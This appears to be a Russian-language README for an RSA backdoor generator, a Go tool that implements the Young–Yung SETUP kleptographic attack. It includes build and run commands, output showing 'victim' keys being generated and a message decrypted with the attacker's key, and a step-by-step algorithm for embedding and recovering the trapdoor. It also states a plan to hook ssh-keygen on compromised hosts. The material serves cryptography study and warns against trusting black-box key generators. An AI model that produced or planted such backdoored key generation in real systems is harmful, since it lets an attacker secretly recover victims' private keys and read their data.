Генератор бэкдоров RSA

Этот репозиторий содержит код для воспроизведения атаки SETUP (Secretly Embedded Trapdoor with Universal Protection — скрыто встроенный потайной ход с универсальной защитой) на генерацию RSA-ключей, предложенной Янгом и Юнгом в 1996 году. Учитывая потенциал этой атаки, никогда не доверяйте системам генерации ключей, работающим как «чёрный ящик».

Ссылки: - Презентация алгоритма - Оригинальная полная статья

Использование

Начните с генерации ключей атакующего, а затем сгенерируйте ключи с бэкдором.

# build
go build generator.go
go build decryptor.go

# (option) generate your (legit) RSA keys
openssl genrsa -out attacker_priv.pem 2048
openssl rsa -in attacker_priv.pem -pubout -out attacker_pub.pem

# generate backdoored keys
./generator -pk attacker_pub.pem

# output
------
[*] Generating 4096-bits SETUP...
    > This may take a while...
------

------
[*] Found parameters:
    > p bit length: 256
    > q bit length: 3840
    > n bit length: 4096 // final key length
    > Attempts needed: 542692
------

------
[*] Backdoored keys saved to:
    > Private key: out/victim_priv.pem
    > Public key:  out/victim_pub.pem
------

------
[*] Test with:
    > echo -n "hello world" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin // encrypt with SETUP PK
    > ./decryptor -pk out/victim_pub.pem -sk <attacker_priv.pem> -c out/cipher.bin // decrypt with SK
------

Если жертва доверяет полученным ключам (которые выглядят совершенно нормально и работают как ожидается), она будет использовать их для шифрования некоторых данных, например:

# encrypt
echo -n "SuperSecretSh1tttttt" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin

# verify
echo out/cipher.bin | base64

Особенность в том, что атакующий может расшифровать сообщение, используя открытый ключ жертвы и свой собственный закрытый ключ. Например:

# decrypt
./decryptor -pk out/victim_pub.pem -sk attacker_priv.pem -c out/cipher.bin

# output
------
[*] Loading keys and ciphertext...
    > Loaded victim public key
    > Loaded attacker private key
    > Loaded ciphertext
------

------
[*] Deriving private key from SETUP...
    > PK bitsize: 2048
    > Found valid factorization using s1
    > Recovered p (bit length: 256)
    > Recovered q (bit length: 3840)
    > Recovered d (bit length: 4092)
------

--- DECRYPTED MESSAGE ---
 ��ϓ�f�~~P�k(���t%Tp��i/3qHvr��s        �x��f����){���\c�f�
�.���n�=y���
�R}��r_2���q�H>u�K��%EB�,�yNZ���5�1��:�>��%O�Y/�,��J$a���`��
                                      �ì�|��k&r��1�5H˚�+����U�/4p� ���֒9���#Gmծ����=�gfq��Pg,w�g)�E^���ͻ����-2�t�2-v
        �y�.�Ȟ�<0S�i8�w�+�\���D/��/���e���sf?18��l�����Э�Y�
�uk��D҃C�P�leS�<���Cy�oI�I�˴�O�B'
g;L9{b�o.���y.���+J���
2А�$�޶��WƇ�B���υk�D�SuperSecretSh1tttttt
-------------------------

Как это работает?

Если вы хотите узнать все детали этой атаки, обратитесь к двум ссылкам во вступлении. Общий обзор этой атаки выглядит следующим образом:

Обычная генерация RSA-ключей (базовый вариант)

Сгенерируйте два больших случайных простых числа p и q (≈1024 бита каждое для ключа длиной 2048 бит).
Вычислите n = p · q.
Выберите открытую экспоненту e (обычно 2¹⁶+1).
Вычислите d такое, что e · d ≡ 1 mod φ(n), где φ(n) = (p–1)(q–1).
Открытый ключ: (n, e); закрытый ключ: d.
Шифрование: c = mᵉ mod n; расшифрование: m = cᵈ mod n.

Клептографическая (SETUP) генерация RSA-ключей

Выберите 1024‑битное простое число s и вычислите p = H(s) (повторяйте, пока p не станет простым).
Зашифруйте s с помощью ключа атакующего: c = sᴱ mod N.
Выберите случайное z.
Постройте q так, чтобы c || z = p · q + r для некоторого произвольного остатка r; повторите попытку, если q не является простым.
Вычислите n = p · q, задайте e обычным образом и вычислите d как в стандартном RSA.
Выведите нормально выглядящие открытый ключ (n, e) и закрытый ключ d — но со скрытым потайным ходом.

Восстановление атакующим закрытого ключа жертвы

Возьмите старшие n/2 бит числа n как u (≈1024 бит).
Задайте c₁ = u и c₂ = u + 1 (для обработки возможной потери битов при встраивании c||z).
Расшифруйте с помощью закрытого ключа атакующего D:
- s₁ = c₁ᴰ mod N, s₂ = c₂ᴰ mod N.
Вычислите кандидатов в простые числа:
- p₁ = H(s₁), p₂ = H(s₂).
Вычислите q₁ = n / p₁ и q₂ = n / p₂; деление, дающее целое число, выявляет истинные p и q.
Пересчитайте d из (p, q, e).
Теперь атакующий полностью восстанавливает закрытый ключ RSA жертвы.

Улучшения

В настоящее время программа использует ProbablyPrime() для проверки, является ли данное n простым. ProbablyPrime выполняет n тестов Миллера–Рабина, чтобы проверить, является ли x простым. Если возвращается true, x является простым с вероятностью 1 - 1/4^n. Если возвращается false, x не является простым. Поэтому существует ненулевая вероятность того, что генерация бэкдора завершится неудачей (Q не удаётся вычислить). В этом случае просто запустите инструмент заново.

Планы на будущее

Поддержка следующих форматов: ssh-rsa, ssh-dsa, ssh-ecdsa. Теоретически SETUP возможен для них, а ssh-ed25519 устойчив к SETUP. Закрытый ssh-ключ затем можно будет получить из открытых ключей, собранных с помощью ssh-keyscan. Также я планирую предоставить небольшую утилиту для перехвата ssh-keygen на скомпрометированном хосте, чтобы автоматически внедрять бэкдор в последующие ключи... TBC.

RSA-Backdoor

Популярное